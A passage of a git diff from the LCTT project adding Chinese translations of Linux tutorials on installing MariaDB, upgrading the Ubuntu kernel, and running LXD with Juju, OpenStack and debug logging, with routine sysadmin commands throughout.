[1]:http://www.tecmint.com/sftp-command-examples/
[2]:https://linux.cn/article-6901-1.html
[3]:https://linux.cn/article-6901-1.html
[4]:http://www.tecmint.com/wp-content/uploads/2017/02/Run-sFTP-Commands-on-Remote-Linux.png
[5]:http://www.tecmint.com/wp-content/uploads/2017/02/Upload-Directory-using-SFTP.png
[6]:http://www.tecmint.com/wp-content/uploads/2017/02/Download-Directory-using-sFTP.png
[7]:http://www.tecmint.com/sftp-command-examples/
[8]:http://www.tecmint.com/restrict-sftp-user-home-directories-using-chroot/
[9]:http://www.tecmint.com/author/aaronkili/
[10]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[11]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -0,0 +1,186 @@
如何在 Debian 和 Ubuntu 上安装 MariaDB 10
============================================================
MariaDB 是深受欢迎的数据库管理服务器软件 MySQL 的一个自由开源的分支。它由 MySQL 的原开发者在 GPLv2通用公共许可证 2 版)下开发,并保持开源。
它被设计来实现 MySQL 的高兼容性。对于初学者,可以阅读 [MariaDB vs MySQL][5] 来了解关于它们的特性的更多信息。更重要的是,它被一些大公司/组织使用,比如 Wikipedia、WordPress.com 和 Google plus ,除此之外还有更多的。
在这篇文章中,我将向你们展示如何在 Debian 和 Ubuntu 发行版中安装 MariaDB 10.1 稳定版。
### 在 Debian 和 Ubuntu 上安装 MariaDB
1、在安装之前 MariaDB 之前,你需要通过下面的命令导入仓库密匙并获取 MariaDB 仓库
**在 Debian 10 (Sid) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xF1656F24C74CD1D8
$ sudo add-apt-repository 'deb [arch=amd64,i386] http://www.ftp.saix.net/DB/mariadb/repo/10.1/debian sid main'
```
**在 Debian 9 (Stretch) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xF1656F24C74CD1D8
$ sudo add-apt-repository 'deb [arch=amd64] http://www.ftp.saix.net/DB/mariadb/repo/10.1/debian stretch main'
```
**在 Debian 8 (Jessie) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db
$ sudo add-apt-repository 'deb [arch=amd64,i386,ppc64el] http://www.ftp.saix.net/DB/mariadb/repo/10.1/debian jessie main'
```
**在 Debian 7 (Wheezy) 上**
```
$ sudo apt-get install python-software-properties
$ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db
$ sudo add-apt-repository 'deb [arch=amd64,i386] http://www.ftp.saix.net/DB/mariadb/repo/10.1/debian wheezy main'
```
**在 Ubuntu 16.10 (Yakkety Yak) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8
$ sudo add-apt-repository 'deb [arch=amd64,i386] http://www.ftp.saix.net/DB/mariadb/repo/10.1/ubuntu yakkety main'
```
**在 Ubuntu 16.04 (Xenial Xerus) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8
$ sudo add-apt-repository 'deb [arch=amd64,i386,ppc64el] http://www.ftp.saix.net/DB/mariadb/repo/10.1/ubuntu xenial main'
```
**在 Ubuntu 14.04 (Trusty) 上**
```
$ sudo apt-get install software-properties-common
$ sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xcbcb082a1bb943db
$ sudo add-apt-repository 'deb [arch=amd64,i386,ppc64el] http://www.ftp.saix.net/DB/mariadb/repo/10.1/ubuntu trusty main'
```
2、 然后,更新系统安装包列表,并像下面这样安装 MariaDB 服务器:
```
$ sudo apt-get update
$ sudo apt-get install mariadb-server
```
安装过程中,将会请求你配置 MariaDB 服务器;在下面的页面中设置一个安全的 root 用户密码:
[
![Set New Root Password for MariaDB](http://www.tecmint.com/wp-content/uploads/2017/02/Set-New-Root-Password-for-MariaDB.png)
][6]
*为 MariaDB 设置新的 Root 密码*
再次输入密码并按下回车键来继续安装。
[
![Repeat MariaDB Password](http://www.tecmint.com/wp-content/uploads/2017/02/Repeat-MariaDB-Password.png)
][7]
*再次输入 MariaDB 密码*
当 MariaDB 安装包安装完成以后,启动数据库服务器守护进程,同时启用它,使得在下次开机时它能够像下面这样自动启动:
```
------------- On SystemD Systems -------------
$ sudo systemctl start mariadb
$ sudo systemctl enable mariadb
$ sudo systemctl status mariadb
------------- On SysVinit Systems -------------
$ sudo service mysql start
$ chkconfig --level 35 mysql on
OR
$ update-rc.d mysql defaults
$ sudo service mysql status
```
[
![Start MariaDB Service](http://www.tecmint.com/wp-content/uploads/2017/02/Start-MariaDB-Service.png)
][8]
*开启 MariaDB 服务*
4、 然后,运行 `mysql_secure_installation` 脚本来保护数据库,在这儿你可以:
1. 设置 root 密码(如果在上面的配置环节你没有进行设置的话)。
2. 禁止远程 root 登录
3. 移除测试数据库
4. 移除匿名用户
5. 重载权限配置
```
$ sudo mysql_secure_installation
```
[
![Secure MariaDB Installation](http://www.tecmint.com/wp-content/uploads/2017/02/sudo-mysql-secure-installation.png)
][9]
*保护 MariaDB 安装*
5、 一旦数据库服务器受保护以后,可以使用下面的 shell 命令查看已安装版本和登录 MariaDB
```
$ mysql -V
$ mysql -u root -p
```
[
![Check MariaDB Version](http://www.tecmint.com/wp-content/uploads/2017/02/Check-MariaDB-Version.png)
][10]
*查看 MariaDB 版本*
开始学习 MySQL/MariaDB 请阅读:
1. [MySQL / MariaDB 初学者学习指南 — Part 1][1]
2. [MySQL / MariaDB 初学者学习指南 — Part 2][2]
3. [MySQL 基本数据库管理命令 — Part III][3]
4. [针对数据库管理员的 20 个 MySQL (Mysqladmin) 命令 — Part IV][4]
查看在 Linux 中[监控 MySQL/MariaDB 性能][11]的四个有用的命令行工具,同时浏览 [15 个有用的 MySQL/MariaDB 性能调整和优化技巧][12]。
这就是本文的全部内容了。在这篇文章中,我向你们展示了如何在 Debian 和 Ubuntu 的不同发行版中安装 MariaDB 10.1 稳定版。你可以通过下面的评论框给我们提任何问题或者想法。
--------------------------------------------------------------------------------
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux 系统管理员和网络开发人员,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/install-mariadb-in-ubuntu-and-debian/
作者:[Aaron Kili][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/learn-mysql-mariadb-for-beginners/
[2]:http://www.tecmint.com/learn-mysql-mariadb-advance-functions-sql-queries/
[3]:http://www.tecmint.com/gliding-through-database-mysql-in-a-nutshell-part-i/
[4]:http://www.tecmint.com/mysqladmin-commands-for-database-administration-in-linux/
[5]:https://mariadb.com/kb/en/mariadb/mariadb-vs-mysql-features/
[6]:http://www.tecmint.com/wp-content/uploads/2017/02/Set-New-Root-Password-for-MariaDB.png
[7]:http://www.tecmint.com/wp-content/uploads/2017/02/Repeat-MariaDB-Password.png
[8]:http://www.tecmint.com/wp-content/uploads/2017/02/Start-MariaDB-Service.png
[9]:http://www.tecmint.com/wp-content/uploads/2017/02/sudo-mysql-secure-installation.png
[10]:http://www.tecmint.com/wp-content/uploads/2017/02/Check-MariaDB-Version.png
[11]:http://www.tecmint.com/mysql-performance-monitoring/
[12]:http://www.tecmint.com/mysql-mariadb-performance-tuning-and-optimization/
[13]:http://www.tecmint.com/author/aaronkili/
[14]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[15]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -0,0 +1,92 @@
如何在 Ubuntu 中升级到最新内核
============================================================
每过段时间,就有新的设备和技术出来,因此如果我们想要充分利用它,保持最新的 Linux 内核就显得很重要。此外,更新系统内核将使我们能够利用新的内核优化,并且它还可以帮助我们避免在早期版本中发现的漏洞。
**建议阅读:** [如何升级 CentOS 7内核][1]
准备好了在 Ubuntu 16.04 或其衍生版本(如 Debian 和 Linux Mint中更新你的内核了么如果准备好了请你继续阅读
### 第一步:检查安装的内核版本
要发现当前系统安装的版本,我们可以:
```
$ uname -sr
```
下面的截图显示了在 Ubuntu 16.04 server 中上面命令的输出:
[
![Check Kernel Version in Ubuntu](http://www.tecmint.com/wp-content/uploads/2017/03/Check-Kernel-Version-in-Ubuntu.png)
][2]
*在 Ubuntu 中检查内核版本*
### 第二步:在 Ubuntu 16.04 中升级内核
要升级 Ubuntu 16.04 的内核,打开 [http://kernel.ubuntu.com/~kernel-ppa/mainline/][3] 并选择列表中需要的版本(发布此文时最新内核是 4.10.1)。
接下来,根据你的系统架构下载 `.deb` 文件:
对于 64 位系统:
```
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-headers-4.10.1-041001_4.10.1-041001.201702260735_all.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-headers-4.10.1-041001-generic_4.10.1-041001.201702260735_amd64.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-image-4.10.1-041001-generic_4.10.1-041001.201702260735_amd64.deb
```
这是 32 位系统的:
```
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-headers-4.10.1-041001_4.10.1-041001.201702260735_all.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-headers-4.10.1-041001-generic_4.10.1-041001.201702260735_i386.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.10.1/linux-image-4.10.1-041001-generic_4.10.1-041001.201702260735_i386.deb
```
下载完成这些所有内核文件后,如下安装:
```
$ sudo dpkg -i *.deb
```
安装完成后,重启并验证新的内核已经被使用了:
```
$ uname -sr
```
就是这样。你下载就可以使用比 Ubuntu 16.04 默认安装的内核的更新版本了。
### 总结
本文我们展示了如何在 Ubuntu 系统上轻松升级Linux内核。这里还有另一个流程但我们在这里没有展示因为它需要从源代码编译内核这不推荐在生产 Linux 系统上使用。
如果你仍然有兴趣编译内核作为一个学习经验,你可以在 [Kernel Newbies][4] 网站中得到指导该如何做。
一如既往,如果你对本文有任何问题或意见,请随时使用下面的评论栏。
--------------------------------------------------------------------------------
作者简介:
Gabriel Cánepa - 一位来自阿根廷圣路易斯梅塞德斯镇 (Villa Mercedes, San Luis, Argentina) 的 GNU/Linux 系统管理员Web 开发者。就职于一家世界领先级的消费品公司,乐于在每天的工作中能使用 FOSS 工具来提高生产力。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/upgrade-kernel-in-ubuntu/
作者:[Gabriel Cánepa][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/gacanepa/
[1]:http://www.tecmint.com/install-upgrade-kernel-version-in-centos-7/
[2]:http://www.tecmint.com/wp-content/uploads/2017/03/Check-Kernel-Version-in-Ubuntu.png
[3]:http://kernel.ubuntu.com/~kernel-ppa/mainline/
[4]:https://kernelnewbies.org/KernelBuild
[5]:http://www.tecmint.com/author/gacanepa/
[6]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[7]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -1,26 +1,25 @@
LXD 2.0 系列LXD和Juju
LXD 2.0 系列LXD Juju
======================================
这是 [LXD 2.0 系列介绍文章][1]的第十篇。
![LXD logo](https://linuxcontainers.org/static/img/containers.png)
![LXD logo](https://linuxcontainers.org/static/img/containers.png)
介绍
============================================================
### 介绍
Juju是Canonical的服务建模和部署工具。 它支持非常广泛的云提供商,使您能够轻松地在任何云上部署任何您想要的服务。
Juju Canonical 的服务建模和部署工具。 它支持非常广泛的云服务提供商,使您能够轻松地在任何云上部署任何您想要的服务。
此外Juju 2.0还支持LXD既适用于本地部署也适合开发并且可以在云实例或物理机上共同协作。
此外Juju 2.0 还支持 LXD既适用于本地部署也适合开发并且可以在云实例或物理机上共同协作。
本篇文章将关注本地使用通过一个没有任何Juju经验的LXD用户来体验。
# 要求
### 要求
本篇文章假设你已经安装了LXD 2.0并且配置完毕看前面的文章并且是在Ubuntu 16.04 LTS上运行的。
本篇文章假设你已经安装了 LXD 2.0 并且配置完毕(看前面的文章),并且是在 Ubuntu 16.04 LTS 上运行的。
# 设置 Juju
### 设置 Juju
第一件事是在Ubuntu 16.04上安装Juju 2.0。这个很简单:
第一件事是在 Ubuntu 16.04 上安装 Juju 2.0。这个很简单:
```
stgraber@dakara:~$ sudo apt install juju
@ -52,7 +51,7 @@ Setting up juju-2.0 (2.0~beta7-0ubuntu1.16.04.1) ...
Setting up juju (2.0~beta7-0ubuntu1.16.04.1) ...
```
安装完成后我们可以使用LXD启动一个新的“控制器”。这意味着Juju不会修改你主机上的任何东西它会在LXD容器中安装它的管理服务。
安装完成后,我们可以使用 LXD 启动一个新的“控制器”。这意味着 Juju 不会修改你主机上的任何东西,它会在 LXD 容器中安装它的管理服务。
现在我们创建一个“test”控制器
@ -86,7 +85,7 @@ Waiting for API to become available: upgrade in progress (upgrade in progress)
Bootstrap complete, local.test now available.
```
这会花费一点时间这时你可以看到一个正在运行的一个新的LXD容器
这会花费一点时间,这时你可以看到一个正在运行的一个新的 LXD 容器:
```
stgraber@dakara:~$ lxc list juju-
@ -97,7 +96,7 @@ stgraber@dakara:~$ lxc list juju-
+-----------------------------------------------------+---------+----------------------+------+------------+-----------+
```
在Juju这边你可以确认它有响应并且还没有服务运行
Juju 这边,你可以确认它有响应,并且还没有服务运行:
```
stgraber@dakara:~$ juju status
@ -111,7 +110,7 @@ ID WORKLOAD-STATUS JUJU-STATUS VERSION MACHINE PORTS PUBLIC-ADDRESS MESSAGE
ID STATE DNS INS-ID SERIES AZ
```
你也可以在浏览器中访问Juju的GUI界面
你也可以在浏览器中访问 Juju GUI 界面:
```
stgraber@dakara:~$ juju gui
@ -120,13 +119,13 @@ If it does not open, open this URL:
https://10.178.150.72:17070/gui/97fa390d-96ad-44df-8b59-e15fdcfc636b/
```
![Juju web UI](https://www.stgraber.org/wp-content/uploads/2016/06/juju-gui.png)
![Juju web UI](https://www.stgraber.org/wp-content/uploads/2016/06/juju-gui.png)
尽管我更倾向使用命令行,因此我会在接下来使用。
不过我更倾向使用命令行,因此我会在接下来使用。
# 部署一个minecraft服务
### 部署一个 minecraft 服务
让我们先来一个简单的部署在一个容器中使用一个Juju单元的服务。
让我们先来一个简单的,部署在一个容器中使用一个 Juju 单元的服务。
```
stgraber@dakara:~$ juju deploy cs:trusty/minecraft
@ -134,7 +133,7 @@ Added charm "cs:trusty/minecraft-3" to the model.
Deploying charm "cs:trusty/minecraft-3" with the charm series "trusty".
```
返回会很快,然而这不意味着服务已经启动并运行了。你应该使用“juju status”来查看:
命令返回会很快,然而这不意味着服务已经启动并运行了。你应该使用 `juju status` 来查看:
```
stgraber@dakara:~$ juju status
@ -152,7 +151,7 @@ ID STATE DNS INS-ID SERIES AZ
```
我们可以看到它正在忙于在刚刚创建的LXD容器中安装java。
我们可以看到它正在忙于在刚刚创建的 LXD 容器中安装 java。
```
stgraber@dakara:~$ lxc list juju-
@ -182,7 +181,7 @@ ID STATE DNS INS-ID SERIES AZ
1 started 10.178.150.74 juju-97fa390d-96ad-44df-8b59-e15fdcfc636b-machine-1 trusty
```
这时你就可以启动你的Minecraft客户端了它指向10.178.150.74端口是25565。现在可以在新的minecraft服务器上玩了!
这时你就可以启动你的 Minecraft 客户端了,将其指向 10.178.150.74,端口是 25565。现在可以在新的 minecraft 服务器上玩了!
当你不再需要它,只需运行:
@ -192,13 +191,13 @@ stgraber@dakara:~$ juju destroy-service minecraft
只要等待几秒就好了。
# 部署一个更复杂的web应用
### 部署一个更复杂的 web 应用
Juju的主要工作是建模复杂的服务并以可扩展的方式部署它们。
Juju 的主要工作是建模复杂的服务,并以可扩展的方式部署它们。
为了更好地展示让我们部署一个Juju “组合”。 这个组合是由网站API数据库静态Web服务器和反向代理组成的基本Web服务。
为了更好地展示,让我们部署一个 Juju “组合”。 这个组合是由网站API数据库静态 Web 服务器和反向代理组成的基本 Web 服务。
所以这将扩展到4个互联的LXD容器。
所以这将扩展到 4 个互联的 LXD 容器。
```
stgraber@dakara:~$ juju deploy cs:~charmers/bundle/web-infrastructure-in-a-box
@ -228,7 +227,7 @@ added nginx-proxy/0 unit to new machine
deployment of bundle "cs:~charmers/bundle/web-infrastructure-in-a-box-10" completed
```
几秒后你会看到LXD容器在运行了
几秒后,你会看到 LXD 容器在运行了:
```
stgraber@dakara:~$ lxc list juju-
@ -283,15 +282,15 @@ ID STATE DNS INS-ID SERIES AZ
5 started 10.178.150.214 juju-97fa390d-96ad-44df-8b59-e15fdcfc636b-machine-5 trusty
```
这时你就可以在80端口访问http://10.178.150.214并且会看到一个Juju学院页面。
这时你就可以在 80 端口访问 http://10.178.150.214,并且会看到一个 Juju 学院页面。
[
![Juju Academy web service](https://www.stgraber.org/wp-content/uploads/2016/06/juju-academy.png)
][2]
# 清理所有东西
### 清理所有东西
如果你不需要Juju创建的容器并且不在乎下次需要再次启动最简单的方法是
如果你不需要 Juju 创建的容器并且不在乎下次需要再次启动,最简单的方法是:
```
stgraber@dakara:~$ juju destroy-controller test --destroy-all-models
@ -328,24 +327,36 @@ stgraber@dakara:~$ lxc list juju-
+------+-------+------+------+------+-----------+
```
# 总结
### 总结
Juju 2.0内置的LXD支持使得可以用一种非常干净的方式来测试各种服务。
Juju 2.0 内置的 LXD 支持使得可以用一种非常干净的方式来测试各种服务。
在Juju charm store中有很多预制的“组合”可以用来部署甚至可以用多个“charm”来组合你想要的架构。
Juju charm store 中有很多预制的“组合”可以用来部署甚至可以用多个“charm”来组合你想要的架构。
Juju与LXD是一个完美的解决方案从一个小的Web服务到大规模的基础设施都可以简单开发这些都在你自己的机器上并且不会在你的系统上造成混乱
Juju 与 LXD 是一个完美的解决方案,从一个小的 Web 服务到大规模的基础设施都可以简单开发,这些都在你自己的机器上,并且不会在你的系统上造成混乱!
### 额外信息
Juju 网站: http://www.ubuntu.com/cloud/juju
Juju charm store https://jujucharms.com
LXD 的主站在: https://linuxcontainers.org/lxd
LXD 的 GitHub 仓库: https://github.com/lxc/lxd
LXD 的邮件列表: https://lists.linuxcontainers.org
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
如果你不想或者不能在你的机器上安装 LXD ,你可以在 web 上试试[在线版的 LXD](https://linuxcontainers.org/lxd/try-it)。
--------------------------------------------------------------------------
作者简介我是Stéphane Graber。我是LXC和LXD项目的领导者目前在加拿大魁北克蒙特利尔的家所在的Canonical有限公司担任LXD的技术主管。
作者简介:我是 Stéphane Graber。我是 LXC 和 LXD 项目的领导者目前在加拿大魁北克蒙特利尔的家所在的Canonical 有限公司担任 LXD 的技术主管。
--------------------------------------------------------------------------------
via: https://www.stgraber.org/2016/06/06/lxd-2-0-lxd-and-juju-1012/
作者:[ Stéphane Graber][a]
作者:[Stéphane Graber][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,147 @@
LXD 2.0 系列十一LXD 和 OpenStack
======================================
这是 [LXD 2.0 系列介绍文章][1]的第十一篇。
![LXD logo](https://linuxcontainers.org/static/img/containers.png)
### 介绍
首先对这次的延期抱歉。为了让一切正常我花了很长时间。我第一次尝试是使用 devstack 时遇到了一些必须解决问题。 然而即使这样,我还是不能够使网络正常。
我终于放弃了 devstack并使用用户友好的 Juju 尝试使用 “conjure-up” 部署完整的 Ubuntu OpenStack。它终于工作了
下面是如何运行一个完整的 OpenStack使用 LXD 容器而不是 VM并在 LXD 容器中运行所有这些(嵌套的!)。
### 要求
这篇文章假设你有一个可以工作的 LXD 设置,提供容器网络访问,并且你有一个非常强大的 CPU大约 50GB 给容器空间和至少 16G B的内存。
记住,我们在这里运行一个完整的 OpenStack这东西不是很轻量
### 设置容器
OpenStack 由大量不同做不同事情的组件组成。 一些需要一些额外的特权,为了可以使设置更简单,我们将使用特权容器。
我们将配置支持嵌套的容器,预加载所有需要的内核模块,并允许它访问 `/dev/mem`(显然是需要的)。
请注意,这意味着 LXD 容器的大部分安全特性对该容器被禁用。 然而由 OpenStack 自身产生的容器将是无特权的,并且可以正常使用 LXD 的安全特性。
```
lxc launch ubuntu:16.04 openstack -c security.privileged=true -c security.nesting=true -c "linux.kernel_modules=iptable_nat, ip6table_nat, ebtables, openvswitch"
lxc config device add openstack mem unix-char path=/dev/mem
```
LXD 中有一个小 bug它会尝试加载已经加载到主机上的内核模块。这已在LXD 2.5中得到修复并将在LXD 2.0.6 中修复,但在此之前,可以使用以下方法:
```
lxc exec openstack -- ln -s /bin/true /usr/local/bin/modprobe
```
我们需要加几条 PPA 并安装 conjure-up它是我们用来安装 OpenStack 的部署工具。
```
lxc exec openstack -- apt-add-repository ppa:conjure-up/next -y
lxc exec openstack -- apt-add-repository ppa:juju/stable -y
lxc exec openstack -- apt update
lxc exec openstack -- apt dist-upgrade -y
lxc exec openstack -- apt install conjure-up -y
```
最后一步是在容器内部配置 LXD 网络。
所有问题都选择默认,除了:
* 使用 `dir` 存储后端( `zfs` 不在嵌套容器中用)
* 不要配置 IPv6 网络conjure-up/juju 不太兼容它)
```
lxc exec openstack -- lxd init
```
现在配置完容器了,现在我们部署 OpenStack
### 用 conjure-up 部署 OpenStack
如先前提到的,我们用 conjure-up 部署 OpenStack。
这是一个很棒的用户友好的可以与 Juju 交互来部署复杂服务的工具。
首先:
```
lxc exec openstack -- sudo -u ubuntu -i conjure-up
```
* 选择 “OpenStack with NovaLXD”
* 选择 “localhost” 作为部署目标(使用 LXD
* 点击 “Deploy all remaining applications”
接下来会部署 OpenStack。整个过程会花费一个多小时这取决于你运行的机器。你将看到所有服务会被分配一个容器然后部署并最终互连。
![Conjure-Up deploying OpenStack](https://www.stgraber.org/wp-content/uploads/2016/10/conjure-up.png)
部署完成后会显示一个安装完成的界面。它会导入一些初始镜像、设置 SSH 权限、配置网络最后会显示面板的 IP 地址。
### 访问面板并生成一个容器
面板运行在一个容器中,因此你不能直接从浏览器中访问。
最简单的方法是设置一条 NAT 规则:
```
lxc exec openstack -- iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to <IP>
```
其中 `<ip>` 是 conjure-up 在安装结束时给你的面板 IP 地址。
你现在可以获取 “openstack” 容器的 IP 地址(来自 `lxc info openstack`并将浏览器指向http://\<container ip>/horizon 。
第一次加载可能需要几分钟。 一旦显示了登录界面输入默认登录名和密码admin/openstack你就会看到OpenStack的欢迎面板
![oslxd-dashboard](https://www.stgraber.org/wp-content/uploads/2016/10/oslxd-dashboard.png)
现在可以选择左边的 “Project” 选项卡,进入 “Instances” 页面。 要启动一个使用 nova-lxd 的新实例,点击 “Launch instance”选择你想要的镜像网络等接着你的实例就产生了。
一旦它运行后,你可以为它分配一个浮动 IP它将允许你从你的 “openstack” 容器中访问你的实例。
### 总结
OpenStack 是一个非常复杂的软件,你也不会想在家里或在单个服务器上运行它。 但是,不管怎样在你的机器上包含这些服务在一个容器中都是非常有趣的。
conjure-up 是部署这种复杂软件的一个很好的工具,背后使用 Juju 驱动部署,为每个单独的服务使用 LXD 容器,最后是实例本身。
它也是少数几个容器嵌套多层并实际上有意义的情况之一!
### 额外信息
conjure-up 网站: http://conjure-up.io
Juju 网站: http://www.ubuntu.com/cloud/juju
LXD 的主站在: https://linuxcontainers.org/lxd
LXD 的 GitHub 仓库: https://github.com/lxc/lxd
LXD 的邮件列表: https://lists.linuxcontainers.org
LXD 的 IRC 频道: #lxcontainers on irc.freenode.net
如果你不想或者不能在你的机器上安装 LXD ,你可以在 web 上试试在线版的 LXD。
--------------------------------------------------------------------------
作者简介我是Stéphane Graber。我是LXC和LXD项目的领导者目前在加拿大魁北克蒙特利尔的家所在的Canonical有限公司担任LXD的技术主管。
--------------------------------------------------------------------------------
via: https://www.stgraber.org/2016/10/26/lxd-2-0-lxd-and-openstack-1112/
作者:[Stéphane Graber][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.stgraber.org/author/stgraber/
[1]:https://www.stgraber.org/2016/03/11/lxd-2-0-blog-post-series-012/

View File

@ -0,0 +1,396 @@
LXD 2.0 系列(十二):调试,及给 LXD 做贡献
================
![LXD logo](https://linuxcontainers.org/static/img/containers.png)
### 介绍
终于要结束了!这个大约一年前开始的[这系列文章][3]的最后一篇博文。
如果你从一开始就关注了这个系列,你应该已经使用了 LXD 相当长的时间了,并且非常熟悉它的日常操作和功能。
但如果出现问题怎么办?你可以做什么来自己跟踪问题?如果你不能,你应该记录什么信息,以便上游可以跟踪问题?
如果你想自己解决问题或通过实现你需要的功能来帮助改善LXD怎么办如何构建测试和贡献 LXD 代码库?
### 调试 LXD 并填写 bug 报告
#### LXD 日志文件
`/var/log/lxd/lxd.log`
这是 LXD 日志的主文件。为了避免它快速充满你的磁盘,默认只会记录 `INFO`、`WARNING` 或者 `ERROR` 级别的日志。你可以在 LXD 守护进程中使用 `debug` 改变其行为。
`/var/log/lxd/CONTAINER/lxc.conf`
每当你启动容器时,此文件将更新为传递给 LXC 的配置。
这里会展示容器将如何配置,包括其所有的设备、绑定挂载等等。
`/var/log/lxd/CONTAINER/forkexec.log`
这个文件包含 LXC 命令执行失败时产生的错误。这个情况是非常罕见的,因为 LXD 通常会在发生之前处理大多数错误。
`/var/log/lxd/CONTAINER/forkstart.log`
这个文件包含 LXC 在启动容器时的错误信息。含 LXC 命令执行失败时产生的错误。
#### CRIU 日志 (对于实时迁移)
如果使用 CRIU 进行容器实时迁移或实时快照,则每次生成 CRIU 转储或恢复转储时都会记录额外的日志文件。
这些日志也可以在 `/var/log/lxd/CONTAINER/` 中找到,并且有时间戳,以便你可以找到与你最近的操作所匹配的那些日志。它们包含 CRIU 转储和恢复的所有内容的详细记录,并且比典型的迁移/快照错误消息更容器理解。
#### LXD 调试消息
如上所述,你可以使用 `-debug` 选项将守护进程切换为执行调试日志记录。另一种方法是连接到守护进程的事件接口,它将显示所有日志条目,而不管配置的日志级别(即使是远程工作)。
举例说,对于 `lxc init ubuntu:16.04 xen` 来说,
`lxd.log` 会是这样:
```
INFO[02-24|18:14:09] Starting container action=start created=2017-02-24T23:11:45+0000 ephemeral=false name=xen stateful=false used=1970-01-01T00:00:00+0000
INFO[02-24|18:14:10] Started container action=start created=2017-02-24T23:11:45+0000 ephemeral=false name=xen stateful=false used=1970-01-01T00:00:00+0000
```
`lxc monitor type=logging` 会是:
```
metadata:
context: {}
level: dbug
message: 'New events listener: 9b725741-ffe7-4bfc-8d3e-fe620fc6e00a'
timestamp: 2017-02-24T18:14:01.025989062-05:00
type: logging
metadata:
context:
ip: '@'
method: GET
url: /1.0
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.341283344-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StorageCoreInit
timestamp: 2017-02-24T18:14:09.341536477-05:00
type: logging
metadata:
context:
ip: '@'
method: GET
url: /1.0/containers/xen
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.347709394-05:00
type: logging
metadata:
context:
ip: '@'
method: PUT
url: /1.0/containers/xen/state
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.357046302-05:00
type: logging
metadata:
context: {}
level: dbug
message: 'New task operation: 2e2cf904-c4c4-4693-881f-57897d602ad3'
timestamp: 2017-02-24T18:14:09.358387853-05:00
type: logging
metadata:
context: {}
level: dbug
message: 'Started task operation: 2e2cf904-c4c4-4693-881f-57897d602ad3'
timestamp: 2017-02-24T18:14:09.358578599-05:00
type: logging
metadata:
context:
ip: '@'
method: GET
url: /1.0/operations/2e2cf904-c4c4-4693-881f-57897d602ad3/wait
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.366213106-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StoragePoolInit
timestamp: 2017-02-24T18:14:09.369636451-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StoragePoolCheck
timestamp: 2017-02-24T18:14:09.369771164-05:00
type: logging
metadata:
context:
container: xen
driver: storage/zfs
level: dbug
message: ContainerMount
timestamp: 2017-02-24T18:14:09.424696767-05:00
type: logging
metadata:
context:
driver: storage/zfs
name: xen
level: dbug
message: ContainerUmount
timestamp: 2017-02-24T18:14:09.432723719-05:00
type: logging
metadata:
context:
container: xen
driver: storage/zfs
level: dbug
message: ContainerMount
timestamp: 2017-02-24T18:14:09.721067917-05:00
type: logging
metadata:
context:
action: start
created: 2017-02-24 23:11:45 +0000 UTC
ephemeral: "false"
name: xen
stateful: "false"
used: 1970-01-01 00:00:00 +0000 UTC
level: info
message: Starting container
timestamp: 2017-02-24T18:14:09.749808518-05:00
type: logging
metadata:
context:
ip: '@'
method: GET
url: /1.0
level: dbug
message: handling
timestamp: 2017-02-24T18:14:09.792551375-05:00
type: logging
metadata:
context:
driver: storage/zfs
level: dbug
message: StorageCoreInit
